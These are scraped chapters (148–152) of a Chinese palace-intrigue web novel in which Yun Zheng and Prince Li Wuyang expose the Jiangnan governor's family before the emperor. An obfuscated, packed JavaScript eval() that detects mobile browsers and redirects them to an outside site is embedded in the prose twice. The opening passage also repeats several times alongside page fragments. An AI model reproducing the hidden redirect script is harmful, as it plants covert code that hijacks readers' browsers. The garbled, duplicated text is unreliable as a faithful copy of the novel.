云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893754|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 第148章 开棺,验 钱府,钱老夫人没有其他爱好,就是喜欢看戏,专门在西北角修了一个戏台,养了一个小戏班,天天唱戏。 这会儿,大家都陪着老太太看戏。 就连江淑蓉也在婆婆身边伺候,累的不行。 她在江南一家独大,唯一的女主人,不需要侍候婆婆,过的极为舒服。 可回了京,日子就没有那么好过了。 她忍不住悄悄捶腿,好累。 钱二夫人看了过来,眼中有羡慕,也有嫉妒。 “大嫂,听说你院中出了一点乱子,到底是什么事?” 钱老夫人生了两子,长子钱维,成了一方大员,权势滔天。 次子就平庸,挂了一个闲职,在京城侍候老母。 钱老夫人看着慈眉善目,其实不是善茬,极难伺候,但,在儿子面前是个十足的慈母,通情达理的好婆婆。 刁难儿媳妇有无数个办法,而且,挑不出一点毛病,让人有苦说不出。 所以,二夫人对嫂子江淑蓉羡慕嫉妒恨。 钱老夫人的目光扫了过来,江淑蓉神色不变,“哪有什么乱子,弟妹听错了。” 二夫人是管家的,有些动静瞒不过她的眼睛。 “你娘家侄子还在明镜司狱中?何时才能放出来?” 江淑蓉轻描淡写的道,“弟妹这么关心我娘家之事?” 二夫人看着仿若二八少女的嫂子,撇了撇嘴,小继妻就是得宠。 “我只是担心会牵连我们钱家的好名声,我还有女儿待嫁呢,你倒是没有女儿,无所谓了。” 江淑蓉看了老夫人一眼,笑吟吟的表态,“此话差矣,惠儿是我的女儿。” 二夫人立马问道,“那,你准备给她多少陪嫁?” 江惠悄悄竖起耳朵。 江淑蓉的表情一僵,“我和老爷自会安排妥当,就不劳弟妹操心了。” 妯娌俩你来我往,好不热闹,其他人都不敢作声,只闻戏子咿咿呀呀的声音。 就在此时,一名下人神色紧张的闯进来,“不好了,不好了。” 台上唱戏声戛然而止。 江淑蓉淡淡的嘲讽道,“弟妹,你就是这么管家的?” 二夫人眉头紧 皱有些羞恼“什么事?” 下人慌乱不已“明镜司闯进来了。” 在场的人皆变了脸色惊惶失措。 江淑蓉神色一变“他们怎么会来?” 二夫人慌了手脚看向老夫人“娘怎么办?” 钱老夫人最稳得住神色平静“慌什么?有我在谁敢乱来?” 她极大的安抚了众人。 一众明镜司闯了进来全副武装气势汹汹所到之处惊叫连连。 为首的男人行了一礼“谷雨见过钱老夫人。” 钱老夫人坐着不动受了这礼“是谷雨大人啊不知你有何事?” 谷雨神色严肃“奉九千岁之命前来办案还请钱老夫人配合。” 钱老夫人怔了怔“什么案子?” 谷雨四处扫视精准的锁定江淑蓉“钱**你说的**呢?在哪里?” 原来是这事江淑蓉心里有点慌“我是去刑部报的案怎么轮到明镜司管?“ 谷雨没有解释大声问道“**在哪里?“ “你这什么态度?我可是堂堂江南总督夫人。” 谷雨淡淡瞥了一眼 他板着脸清喝“若不配合我们就要搜府了若有得罪之处还请各位见谅。” 江淑蓉很生气嘴唇紧闭不肯配合。 谷雨一挥手“搜。” 钱老夫人不禁急了明镜司搜府传出去别人会怎么想?只当是钱家犯了大错被抄家了。 “**你快说啊。” 面对婆母江淑蓉不敢嘴硬“在……柴房。” 以她的性子**早就扔去乱葬岗但这是重要人证扳倒云筝的关键人证所以暂时留下了。 谷雨右手一挥手下迅速散开。 钱老夫人眉头紧皱“**到底是怎么回事?” 江淑蓉吞吞吐吐“就是……我让下人去锦云郡主府办事没成想抬回来的是奄奄一息的人浑身都打烂了不一会儿就咽了气。“ ”我实在是气不过就报了案。” 一听这话钱家人义愤填膺“锦云郡主 欺人太甚,这是公然打我们钱家的脸。” “她也太暴戾了,哪有半点女人样?” “不行,我们不能忍气吞声,必须摆出自己的态度。” 在一片议论声中,江淑蓉嘴角轻轻上扬,眼中闪过一丝得意。 一抬头,就见老夫人冷冷的盯着她,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谷雨抽出长剑,对准一众人,“谁胆敢离开,杀。” 手下皆抽出武器,神色肃穆,剑尖犀利,散发着冰冷的光芒。 钱家人哪见过这阵仗,吓出一身冷汗。 谷雨大声下令,“开棺,验。” 气氛一下子凝固,众人浑身颤栗,不由自主的哆嗦。 第149章 皇上:无恙,我错了 在开棺的那一刻,有人吓哭了。 谷雨只是淡淡瞥了一眼,波澜不惊。 尸体血肉模糊,死不瞑目的眼睛还睁着,实在吓人。 仵作当众解剖尸体,这一幕看的钱家人魂飞魄散,浑身发抖。 “呕呕。”呕吐声不断,钱老夫人的脸色难看到了极点,伸手捂住孙女的眼睛。 钱惠的身体抖个不停, 花容失色。 娇贵的钱家人哪见过这种血腥的场面,吓晕了一个又一个。 “姨娘,你醒醒。” “莲儿,醒醒。” 江淑蓉没想到明镜司做事这么绝,全然没有顾忌。 虽然是她下令将人杖毙,但,看着解剖的尸体,生理和心理极为不适。 她眼珠一转,主动凑到钱老夫人面前。 “娘,我扶您离开,我就不信明镜司真敢动手。” 这是打着钱老夫人的幌子,逃离这个现场。 钱老夫人冷冷的看着她,忽然抬手挥过去。 “啪,你这个丧门星。” 江淑蓉被打懵了,“娘。” 钱老夫人还没有什么不明白,这是大儿媳惹来的麻烦。 死两个下人也不是什么大事,但,不该拉着钱家下水,帮着她对付锦云郡主。 锦云郡主岂是好惹的?她背后站着九千岁! “将大夫人压到尸体面前,让她好好看看。” 江淑蓉惶恐不安,“娘。” 钱老夫人的手下硬是将江淑蓉压到尸体面前,江淑蓉只看了一眼就吐了。 吐出黄胆汁,浑身发软,站都站不稳。 让她们这些娇生惯养的夫人小姐亲眼看验尸过程,无异于凌迟。 每一分钟都是煎熬。 “啊。” 钱老夫人眼前一阵阵发黑,身体滑了下去。 钱惠大惊失色,扑过去抱住她,“祖母,祖母,您醒醒,别吓我。” 大家围着钱老夫人,都急坏了。 钱老夫人是钱家的主心骨,若她有个闪失,天就塌了。 “快叫老爷和二爷回府,快啊。” 钱府一阵兵荒马乱,谷雨只是淡淡瞥了一眼,不紧不慢的查看验尸结论。 手下有些担心,“谷雨大人,您看?” 谷雨无动于衷,“不必理会,有什么事自有王爷顶着。” 他吩咐下去,“把钱江氏身边的人都抓起来审问,我要尽快得到真相。” “是。” 钱维兄弟俩在外应酬,一听说家中出事,立马飞奔回家。“娘,娘。” 看着躺在床上昏迷不醒的老夫人,两人都急的团团转。 “怎么会这样?” 江淑蓉擦了擦眼角的眼泪,“老爷,是明镜司,是睿亲王,是他们害了娘,他们要毁了钱家。” 钱维怒火中烧,“我娘若有个闪失,我跟明镜司誓不两立。” 谷雨神色不变,“这可不是我们明镜司的责任,我们只是办案而已。” 钱维气极反笑了,“好好,这一笔钱我跟睿王爷算。” “来人,进宫。” “二弟,你在家里主持大局,我速速就回。” 他怒气冲冲的进宫,谷雨叫来手下,给自家主子通风报信。 等厉无恙接到宫中的传召,已经是一个时辰后的事。 他和云筝一起进的宫。 养心殿门口,几个侍卫守着。 一名侍卫看过来,压低声音提醒了一句,“王爷,皇上叫了菊花茶。“ 厉无恙挑了挑眉,“降火?” “通传吧。” 侍卫扬声通禀,“睿亲王求见,锦云郡主求见。” 里面传来一道怒喝声,“让他们进来。” 厉无恙看了云筝一眼,率先推着轮椅进去。 一只杯子砸了过来,“你这个混帐东西,干的什么破事?把钱老夫人吓晕过去,命悬一线,你气死朕了。” 厉无恙的脑袋一偏,用手一拨,杯子重重摔在地上。 皇上气不打一处来,“你还敢躲?” 一边的钱维看的解气,该! 云筝眉头一皱,“皇上,您可委屈睿王爷了,他……” 皇上看到她更生气了,“还有你,居然仗势欺人,欺到钱府头上,是朕太惯着你,你让朕很失望。” 云筝撇了撇小嘴,“我也很失望,没想到您是这样里外不分,一味的偏袒恶人,让亲者痛仇者快。” 皇上指着她的鼻子怒骂,“谁是恶人?谁是仇者?是你!没你时天下太平,一有你,哪哪都闹腾。” 云筝一听这话不干了,“不知道的,还以为您跟钱家才是嫡嫡亲的血亲骨肉,睿王爷是捡来的野孩子呢。” 她板着小脸,气鼓鼓的说道,“枉费睿亲王吃到好吃的,还想着您,特意把秘方讨要过来,让御厨做给您吃。” 皇上愣住了,怒气渐消。 云筝委屈的不行,“可您呢,听信外人的谗言,不分青红皂白就指责他,还拿东西砸他,太让人寒心了……” 厉无恙摆了摆手,“别说了,我不配。” 一句不配,配上他寒心的表情,如一把利刃扎进皇上的心,顿时变了脸色。 “无恙,朕不是这个意思。” 钱维闭了闭眼,不忍直视。 锦云郡主好手段,短短几句话,又是诉苦,又是夹枪带棒,硬生生的勾起了皇上的歉疚。 睿亲王更高明,一句不配,就彻底浇灭了皇上的怒火。 两人配合的天衣无缝。 厉无恙神色冷冷的,“钱维是你的亲兄弟,我不是,我是没爹没娘的野孩子。” 这话的杀伤力太大,皇上心疼不已,“别说气话,你是朕最亲的弟弟,是朕一手养大的孩子,朕最疼你。” 钱维暗暗叫苦,在皇上心里,睿亲王比钱家重要。 睿亲王也挺不要脸的,争宠的手段一套一套的,呵呵。 云筝还在一边助攻,“为了外人打他,就是这么疼他的?” 皇上捏着鼻子解释,“不是没打中吗?朕特意扔偏了,不会打中他的。” 云筝呵呵一笑,对错不重要,比的是圣心! 厉无恙依旧板着脸,皇上无奈叹气,“你们一起来的,是一起吃的饭?吃到什么好吃的?” 云筝从怀里拿出一张纸,上面写满了字。 “灸鸭,我家的秘方,睿亲王送了重礼才换来的,现在嘛,就算了,您也不稀罕,您就稀罕钱家。” 皇上更感亏欠,皇弟处处想着他,他倒好,为了钱家伤了皇弟的心。 “无恙,你不是喜欢研究武器吗?朕让你兼管武器库。” 钱维倒抽一口冷气,那是皇上的一张底牌,亲自掌管,没人敢打主意。 如今,却舍得给睿亲王。 他输了! 但,不甘心啊,不行,他不能坐以待毙! 第150章 手撕江南总督(上) 厉无恙不假思索的拒绝,“不要。” 他是绝顶聪明的人,什么能碰,什么不能碰,心里明明白白。 犯忌讳的东西,不要伸手,以免将来清算。 皇上想了想,“那,给你一个大农庄,再给你几个匠人,你想研究什么都行,地方也有了。” 厉无恙还是板着脸拒绝,“不……” 话还没说完,就被云筝截断,“要。” 大家齐刷刷看着她,她理直气壮的说道,“王爷,您不是说喜欢琉璃吗?找些匠人研究一下,若能成功,就将暖阁的窗子换成七彩琉璃,冬天赏雪多漂亮啊。” “皇上,您看呢?” 皇上就怕厉无恙不收,“给,都给。” 云筝眼珠一转,“再给一个温泉别庄呗,跟我庄子连在一起,我们可以串门玩。” 厉无恙淡淡的道,“温泉别庄我已经有了。” 云筝冲他直使眼色,“一个不嫌少,两个不嫌多,皇上给,你就拿着呗,自家亲兄弟怎么也比外人亲,皇上,您说呢?” 皇上微微颌首,“对对,没错,温泉别庄而已,无恙啊,你我是亲兄弟,朕有好东西都舍得给你,” 厉无恙冷哼一声,“那你还护着别人?” “朕……”皇上纠结,该怎么解释呢,总不能让他一个君王道歉吧,他不要面子吗? 云筝主动递台阶,“我知道了,是恶人先告状。” 皇上投来一个赞赏的眼神,还是她机灵,“对,没错。” 钱维:……谁是恶人?我是你们游戏的一环?一群狗人! 云筝立马将矛盾对准了他,“钱大人,你是怎么离间天家兄弟的?说来听听,让我引以为鉴。” 钱维气的差点吐血,这可恶的丫头。 “臣万万不敢,还请皇上明鉴,臣只是担心家母的病情,一时急昏了头,纯属一片孝心……” 不得不说,他是个识时务的,一发现皇上有所偏向,立马低头,打孝心这一张牌。 他是了解皇上的,以孝治国,皇上最看重孝心。 皇上的表情略微松动,云筝立马补刀子,“真孝顺应该守着亲娘脱离危险,才有心情告刁状,看来,钱大人的孝心有限嘛。” 钱维:…… 太欺负人了,他好歹也是二品高官,一个黄毛丫头也敢指着他的鼻子骂。 论圣眷,他比不过睿亲王,还比不过一个野丫头吗? “锦云郡主,你为何无故打死我府上的奴婢?你必须给一个说法。” 云筝不但不怕,还露出自得的笑,“皇上,我聪明吗?” 皇上默了默 ,“还算聪明。” 云筝手指着自己,张扬而又明媚,“谁得罪了我,以我不肯受气的性子,自然是当场打回去。” “但,光天化日之下杀人,脑子有问题吧,要挑四下无人时动手啊,这样就不会落下把柄,以我的能力和钱财,做的天衣无缝是没有问题的。” 众人:……这么说真的好吗? 皇上沉默了,细细回想,云筝不是一个主动攻击的人,行事看似很疯,但分寸拿捏的恰到好处。 云筝伸出一双嫩白的小手,“再说了,要弄死一个人有的是办法,最不济借刀杀人呗,干嘛弄脏自己干干净净的手?犯不着。” 说的好有道理,无法反驳。 厉无恙淡淡的道,“杀人找明镜司就行,别弄脏自己的手。” 众人沉默了。 钱维很不甘心,“可你,确实打人了,将我们钱家的脸面狠狠踩在地上。” 云筝理直气壮的说道,“对,我打了,她们居然对皇上不敬,岂有此理?我下次还敢打。” 她这是护主!大家快看她的忠心! 皇上蹙眉,“对朕不敬?” 云筝冷哼一声,“那几个老婆子逼着我认江南总督为主,暗示皇上不配呢。” 钱维脸色大变,“你胡说。” 云筝想到之前埋的那条暗线,嘴角轻轻上扬,“皇上,我之前让人向宫中递话,您没听到?” 皇上神色莫名,看向一边的大太监,“大伴。” 大太监默默走出去,不一会儿,就带着一个小太监一个侍卫进来了。 侍卫神色坦然,“确有此事,我将话递给了小安子。” 小太监紧张的咽了咽口水,“是,但皇上一直在忙,就没有打扰皇上。” 这话也有几分道理,凡事分轻重缓急。 一句话能比得上国家大事重要? 云筝凉凉的说道, “是不想打扰,还是替某些人挡下麻烦呢,皇上,您身边好像安插了别人的眼线。” 窥视帝踪,刺探皇上的情况,是大忌。 小太监吓白了脸,拼命摇头,“我不是。” 云筝居高临下的问道,“你没拿过钱家的银子?” “我……”小太监眼神躲闪。 大太监喝道,“说。” 小太监怯生生的开口,“钱大人进宫时,给了赏钱,但大家都有。” 外臣进宫打赏是惯例,像那些外派的重臣,出手尤其大方。 钱维是江南总督,随手就是一张一百两银票,眼睛都不眨一下。 他们这些无根之人,没有别的爱好,只喜欢黄白之物。 皇上不置可否,钱维却汗流浃背,心中惴惴。 但凡皇上当场发作出来,就没事,若提都不提,那是记在心里了。 “皇上,奴才是给了打赏,但这也是惯例,只求这些人不要在皇上面前说我的坏话。” 云筝立马嚷嚷,“皇上,他说您是听信谗言的昏君。” 钱维急的直跳脚,“你别信口开河,无中生有,我的一片忠心天地可鉴。” “我们钱家是靠皇上一手提拔起来的,没有皇上,钱家只是低贱的庶民,连命都保不住,我巴不得皇上万岁万岁万万岁。” 云筝呵呵一笑,“所以,排除异己,将睿王爷打下去?” 钱维要疯了,她这张嘴太可怕了,怎么这么难缠? “我没有,也不敢。” 气氛很僵硬,不知过了多久,皇上终于开口了,“郡主传了什么话?” 侍卫不敢开口,小太监战战兢兢的开口,“就问问皇上,江南总督要当本朝郡主的主子,皇上什么时候将皇位传给他最爱的奶兄,江南总督钱维大人?我也好提前准备。” 原本,这话是不可能传到皇上耳朵里的,直接截断。 这话一出,大家都变了脸色。 这是人话吗?字字诛心。 钱维浑身抖如筛糠,惊恐如一只大手,紧紧拽住心脏,让他喘不过气来。 第151章 手撕江南总督(下) 钱维总算明白,两位长公主那般尊位,区区一个外姓女子,怎么会将她们搞下来? 原来,云筝这个疯子战斗力好猛! 皇上气笑了,“锦云,你要做什么准备?” 难道要另投新主? 云筝撇了撇嘴,大声说道,“哦,把产业卖了就跑,我才不会为这种货色卖命呢,他不配。” “只有英明神武,胸怀天下的皇上,才值得我效忠。” 皇上严肃的脸上多了一丝笑意,“你这张嘴啊,让人又恨又爱。多读点书,别这么直白。” 云筝在心里吐槽,他就是喜欢直白啊,装什么装。 “我是有什么说什么,说话是容易得罪人,但,字字是发自肺腑。” “皇上不嫌我是女子,给了我施展才华的舞台,还力排众议为我破例撤消了婚约,这份知遇之恩比天高,比海深,终其一生都不敢忘。” 皇上嘴角疯狂上扬,“哈哈哈,你这孩子总算懂事了。” 江南总督目瞪口呆,御史老骂他是佞臣,靠逢迎谄媚上位。 他们都来听听,都来看看,谁才是本朝第一佞臣! 云筝见状,嘴微嘟。 “皇上,您刚才骂我是恶人,没我天下太平,有我就闹腾,我也很心寒。” 皇上这才想起刚才生气时说的话,莫名有些心虚,“这……朕是被人蒙蔽了,朕赐你一座农庄吧。” 云筝气鼓鼓的伸出两根手指,“一座怎么行?要两座!” 这一次皇上很痛快,“行。” 她不缺银子,就是要一个体面,能理解。 云筝眼珠一转,盯上了钱维,“其实,我觉得哈,钱家这么有钱,到处做善财童子,不如散给我们,当赔礼呗。” “我倒是无所谓,王爷受了天大的委屈。” 厉无恙眉眼冷冷的,一脸的不悦。 钱维憋屈的要命,他们钱家今日受辱,老母晕死过去,生死未卜,还要让他赔礼道歉? 哪有这样的道理?太不讲理了。 “事情的真相……” 厉无恙冷声道,“你这么想知道?行,本王成全你。” “谷雨,进来。” 谷雨从外面进来,给皇上行了一礼,将一份资料双手呈上。 “这是验尸报告,请皇上过目。” 大太监接过资料,检查了一下后,再转手呈给皇上。 皇上随手翻阅。 谷雨神色严肃,“那两具尸体是被活生生打死的。” “经过两次殴打,时间相差半个时辰,第一次行刑用是的板子,只是皮肉伤。” “第二次用的是棍子,打的都是要害处,活活杖毙。” 不同的刑具,造成的伤害和伤口痕迹是不一样的。 随着他的话,钱维的心渐渐往下沉,已经猜到了几分。 但,他强撑着,“这说明,锦云郡主动了两次刑,着实歹毒。” 谷雨又送上一份资料,“这是审讯结果。” “审讯了江南总督夫人身边的下人,事情很简单,是钱江氏自导自演的一出闹剧,她派下人去羞辱锦云郡主,被郡主打了二十大板。” “下人回来后,钱江氏嫌她们办事不利,下令杖毙,随后,派人去刑部报案,企图诬陷。” 那些下人心理素质很差,一审讯就立马招了,有顽固的死忠,打一顿也招了。 皇上翻着资料,眉头微蹙,这不是江淑蓉第一次杖毙下人,在江南时更嚣张。 身为夫君的钱维会不知道吗?不可能。 在他们眼里,下人只是物件,可以随意打杀。 本朝规定,良民不可随意打杀,打死有错的家奴不算犯罪,打死无错的家奴,要接受一定的惩罚,比如,杖责,罚钱。 但,规定是死的,人是活的,罪名可以随意扣。 在江南地界,谁敢管江南总督的事? 钱维的心拔凉拔凉的,“不可能,这是屈打成招。” 云筝撇了撇嘴,“验尸报告是不看的,证词也是不看的,全凭自己的喜好做判断,江南总督平时就是这么处理公务的?我怎么觉得这活我也可以干。” 她大声嚷嚷,“皇上,让我去当江南总督吧,他能干的,我都能干,我还能给你多挣几倍的钱。“ 皇上头痛不已,她的想法真多。 钱维沉不住气了,这是要抢他的地盘啊。 “你懂个屁,头发长见识短,会挣几个钱,就觉得自己了不起?天真的可笑。” 云筝冷笑一声,“我是天真,所以,不明白,你为什么要乱花皇上的钱?” “也不明白,你为什么半路截贡品?想尝尝当皇帝的滋味吗?” “扑通”一声,钱维脸色苍白如纸,身体瑟瑟发抖。 “臣有罪,臣糊涂,臣愿将家中一半财产捐出来,上交国库。” 这一回他没有咬死不认,痛快的认下了。 云筝都知道了,皇上能不知道?还不如认了,求一个宽大处理。 云筝撇了撇嘴,“什么叫捐,是还,是物归原主。” 皇上略一沉吟,“皇弟,你来负责接收。” “是。”厉无恙眼神凉凉的,落到他手里,等着吧。 钱维暗暗叫苦,这分明是故意的。 皇上,你要哄弟弟,为什么把我卖了?我不是你最亲的奶兄弟吗?! 出宫的路上,云筝想着心事,沉默寡言。 耳边传来男人低沉的声音,“不开心吗?” 云筝微微摇头,“没有,就是有点可惜。” 自古君王多薄幸,最是无情帝王家。 在君王眼里,众生皆是棋子,包括她和钱家,有用就用,不能用就弃。 厉无恙心里一紧,“可惜什么?没把钱家搞下去?” “钱维是皇上的心腹,掌控着江南赋税和钱粮。皇上出于政治制衡需求和现实利益,不会动他,除非钱家造反。” 政治没有对错,只有利益。 像前朝有个皇帝,纵容手下贪污枉法,不管多少人弹劾都没用。 但,新君继位时,就抄了那个大贪官的家,充盈国库,也树立了新君的权威。 云筝晃晃脑袋,将那些杂乱的思绪晃掉,“那就放过江淑蓉?” 厉无恙微微一笑,“皇上是什么人,你还不清楚吗?江淑蓉动了他的东西,岂会轻易饶了她?” 皇上迟早会恶心回去的。 云筝明白了,嘴角轻轻上扬,就等着看热闹。 果然,当晚,皇上就出手了…… 第152章 赐下六名宫女 钱府,钱老夫人一病倒,就没有了主心骨,一家子六神无主,兵荒马乱。 钱惠守在钱老夫人榻前,眼泪像断了线的珍珠,可怜极了。 好不容易盼到钱维回府,一家人迎了上去。 “大哥,皇上怎么说?” 钱维面如沉水,神色凝重,“我请了太医过来诊脉,女眷回避一下。” 太医仔细诊了半晌,左手诊完又诊右手,神色严肃。 钱维急急的问道,“太医,我娘情况怎么样?” 太医放下老夫人的手,拱了拱手,“钱老夫人只是一时气急,没有大碍。” 钱维怔了怔,“那怎么还不醒?” 太医神色温和的安慰道,“年纪大了,需要点时间修复,我给她扎两针,过一会儿就会醒。” 钱家平时很低调,不出席社交场合,但,钱老夫人在太医院是挂了号的,每个月太医都要上门一趟,为她请个平安脉。 这是极为难得的殊荣。 钱维心里一动,冲太医使了个眼色,“那,不能刺激她?” 太医心领神会,微微颌首,“对,老夫人的情绪不宜大起大落,别刺激她。” 诊脉结果都会在太医院存档,随时供皇上翻阅。 皇上若是关心,自然会看到这一切。 钱维拱了拱手,行了一礼。“多谢。” 两人相视而笑,一切尽在不言中。 等大夫走后,女眷才从后面转出来,最显眼的是眼睛红肿的钱惠。 钱维怔了怔,这丫头纯孝,又带着一丝少女的天真烂漫,梨花带雨的神态有点像……那个女人。 “惠儿,好好侍候老夫人。” 钱惠用力点头,“父亲放心。” 院中,钱维站在百年老树下,心思纷乱,皇上身边杀出一个云筝,可不是什么好事。 他能给皇上挣钱,云筝也可以,而且比他挣的更多,他的价值就小了。 他绝不能容忍自己被取代,那是钱家的根本。 江淑蓉踩着轻盈的脚步走过来,“夫君,云筝那个小贱人……” 钱维回过头就是一巴掌,“啪。” 江淑蓉白皙的脸顿时红肿了,她捂着滚烫的脸,满眼的不敢置信。 “夫君,你打我?你怎么能打我?” 成亲这么多年,她一直是独宠,被夫君捧着手掌心呵护,没有受过一点委屈。 